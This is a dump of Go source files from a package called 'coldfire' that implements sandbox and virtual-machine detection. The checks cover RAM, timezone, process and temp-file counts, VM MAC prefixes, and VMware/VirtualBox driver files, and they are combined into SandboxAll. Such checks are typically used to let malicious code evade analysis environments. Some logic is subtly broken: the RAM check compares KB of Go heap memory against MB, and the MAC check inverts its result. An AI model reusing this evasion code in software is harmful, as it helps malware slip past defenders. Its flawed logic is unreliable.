| // SandboxRam is used to check if the environment's 61 | // RAM is less than a given size. 62 | func SandboxRam(ram_mb int) bool { 63 | var m runtime.MemStats 64 | runtime.ReadMemStats(&m) 65 | ram := m.Sys / 1024 66 | rmb := uint64(ram_mb) 67 | 68 | return ram < rmb 69 | } 70 | 71 | // SandboxUtc is used to check if the environment 72 | // is in a properly set Utc timezone. 73 | func SandboxUtc() bool { 74 | _, offset := time.Now().Zone() 75 | 76 | return offset == 0 77 | } 78 | 79 | // SandboxProcnum is used to check if the environment 80 | // has processes less than a given integer. 81 | func SandboxProcnum(proc_num int) bool { 82 | processes, err := ps.Processes() 83 | if err != nil { 84 | return true 85 | } 86 | 87 | return len(processes) < proc_num 88 | } 89 | 90 | // SandboxTmp is used to check if the environment's 91 | // temporary directory has less files than a given integer. 92 | func SandboxTmp(entries int) bool { 93 | return sandboxTmp(entries) 94 | } 95 | 96 | // SandboxMac is used to check if the environment's MAC address 97 | // matches standard MAC adddresses of virtualized environments. 98 | func SandboxMac() bool { 99 | hits := 0 100 | sandbox_macs := []string{`00:0C:29`, `00:1C:14`, 101 | `00:50:56`, `00:05:69`, `08:00:27`} 102 | ifaces, _ := net.Interfaces() 103 | 104 | for _, iface := range ifaces { 105 | for _, mac := range sandbox_macs { 106 | if strings.Contains(strings.ToLower(iface.HardwareAddr.String()), strings.ToLower(mac)) { 107 | hits += 1 108 | } 109 | } 110 | } 111 | 112 | return hits == 0 113 | } 114 | 115 | // SandboxAll is used to check if an environment is virtualized 116 | // by testing all sandbox checks. 117 | func SandboxAll() bool { 118 | values := []bool{ 119 | SandboxProc(), 120 | SandboxFilepath(), 121 | SandboxCpu(2), 122 | SandboxSleep(), 123 | SandboxTmp(10), 124 | SandboxProcnum(100), 125 | SandboxRam(2048), 126 | SandboxUtc(), 127 | } 128 | 129 | for s := range values { 130 | x := values[s] 131 | if x { 132 | return true 133 | } 134 | } 135 | 136 | return false 137 | } 138 | 139 | // SandboxAlln checks if an environment is virtualized by testing all 140 | // sandbox checks and checking if the number of successful checks is 141 | // equal or greater to a given integer. 142 | func SandboxAlln(num int) bool { 143 | num_detected := 0 144 | values := []bool{ 145 | SandboxProc(), 146 | SandboxFilepath(), 147 | SandboxCpu(2), 148 | SandboxSleep(), 149 | SandboxTmp(10), 150 | SandboxTmp(100), 151 | SandboxRam(2048), 152 | SandboxMac(), 153 | SandboxUtc(), 154 | } 155 | for s := range values { 156 | x := values[s] 157 | if x { 158 | num_detected += 1 159 | } 160 | } 161 | 162 | return num_detected >= num 163 | } 164 | -------------------------------------------------------------------------------- /sandbox_linux.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import "os" 4 | 5 | func sandboxFilepath() bool { 6 | out, _ := cmdOut("systemd-detect-virt") 7 | if out != "none\n" { 8 | } 9 | return out != "none\n" 10 | } 11 | 12 | // HOTFIX - below function returns false negative, because 13 | // installation of minio/pkg/disk package eats dick on absolutely every platform. 14 | // Rewriting this function using CmdOut() or 'syscall' package would be much appreciated :> 15 | func sandboxDisk(size int) bool { 16 | v := false 17 | //d := "/" 18 | //di, _ := disk.GetInfo(d) 19 | //x := strings.Replace(humanize.Bytes(di.Total), "GB", "", -1) 20 | //x = strings.Replace(x, " ", "", -1) 21 | //z, err := strconv.Atoi(x) 22 | //if err != nil { 23 | // fmt.Println(err) 24 | //} 25 | //if z < size { 26 | // v = true 27 | //} 28 | return v 29 | } 30 | 31 | func sandboxTmp(entries int) bool { 32 | tmp_dir := "/tmp" 33 | files, err := os.ReadDir(tmp_dir) 34 | if err != nil { 35 | return true 36 | } 37 | 38 | return len(files) < entries 39 | } 40 | -------------------------------------------------------------------------------- /sandbox_windows.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import "os" 4 | 5 | func sandboxFilepath() bool { 6 | EvidenceOfSandbox := make([]string, 0) 7 | FilePathsToCheck := [...]string{`C:\windows\System32\Drivers\Vmmouse.sys`, 8 | `C:\windows\System32\Drivers\vm3dgl.dll`, `C:\windows\System32\Drivers\vmdum.dll`, 9 | `C:\windows\System32\Drivers\vm3dver.dll`, `C:\windows\System32\Drivers\vmtray.dll`, 10 | `C:\windows\System32\Drivers\vmci.sys`, `C:\windows\System32\Drivers\vmusbmouse.sys`, 11 | `C:\windows\System32\Drivers\vmx_svga.sys`, `C:\windows\System32\Drivers\vmxnet.sys`, 12 | `C:\windows\System32\Drivers\VMToolsHook.dll`, `C:\windows\System32\Drivers\vmhgfs.dll`, 13 | `C:\windows\System32\Drivers\vmmousever.dll`, `C:\windows\System32\Drivers\vmGuestLib.dll`, 14 | `C:\windows\System32\Drivers\VmGuestLibJava.dll`, `C:\windows\System32\Drivers\vmscsi.sys`, 15 | `C:\windows\System32\Drivers\VBoxMouse.sys`, `C:\windows\System32\Drivers\VBoxGuest.sys`, 16 | `C:\windows\System32\Drivers\VBoxSF.sys`, `C:\windows\System32\Drivers\VBoxVideo.sys`, 17 | `C:\windows\System32\vboxdisp.dll`, `C:\windows\System32\vboxhook.dll`, 18 | `C:\windows\System32\vboxmrxnp.dll`, `C:\windows\System32\vboxogl.dll`, 19 | `C:\windows\System32\vboxoglarrayspu.dll`, `C:\windows\System32\vboxoglcrutil.dll`, 20 | `C:\windows\System32\vboxoglerrorspu.dll`, `C:\windows\System32\vboxoglfeedbackspu.dll`, 21 | `C:\windows\System32\vboxoglpackspu.dll`, `C:\windows\System32\vboxoglpassthroughspu.dll`, 22 | `C:\windows\System32\vboxservice.exe`, `C:\windows\System32\vboxtray.exe`, 23 | `C:\windows\System32\VBoxControl.exe`} 24 | for _, FilePath := range FilePathsToCheck { 25 | if _, err := os.Stat(FilePath); err == nil { 26 | EvidenceOfSandbox = append(EvidenceOfSandbox, FilePath) 27 | } 28 | } 29 | if len(EvidenceOfSandbox) == 0 { 30 | return false 31 | } else { 32 | return true 33 | } 34 | } 35 | 36 | func sandboxTmp(entries int) bool { 37 | tmp_dir := `C:\windows\temp` 38 | files, err := os.ReadDir(tmp_dir) 39 | if err != nil { 40 | return true 41 | } 42 | 43 | return len(files) < entries 44 | } 45 | -------------------------------------------------------------------------------- /wrappers.go: -------------------------------------------------------------------------------- 1 | package coldfire 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "strconv" 7 | "time" 8 | ) 9 | 10 | // F is a wrapper for the Sprintf function. 11 | func F(str string, arg ...interface{}) string { 12 | return fmt.Sprintf(str, arg...) 13 | } 14 | 15 | func f(s string, arg ...interface{}) string { 16 | return fmt.Sprintf(s, arg...) 17 | } 18 | 19 | // F is a wrapper for the Println function. 20 | func P() { 21 | fmt.Println() 22 | } 23 | 24 | // Str2Int converts a string into an integer. 25 | func Str2Int(string_integer string) int { 26 | // i, _ := strconv.ParseInt(string_integer, 10, 32) 27 | i, _ := strconv.Atoi(string_integer) 28 | return i 29 | } 30 | 31 | // IntToStr converts an integer into a string. 32 | func Int2Str(i int) string { 33 | return strconv.Itoa(i) 34 | } 35 | 36 | // RandomInt returns an integer within a given range. 37 | func RandomInt(min int, max int) int { 38 | rand.Seed(time.Now().UnixNano()) 39 | return rand.Intn(max-min) + min 40 | } 41 | --------------------------------------------------------------------------------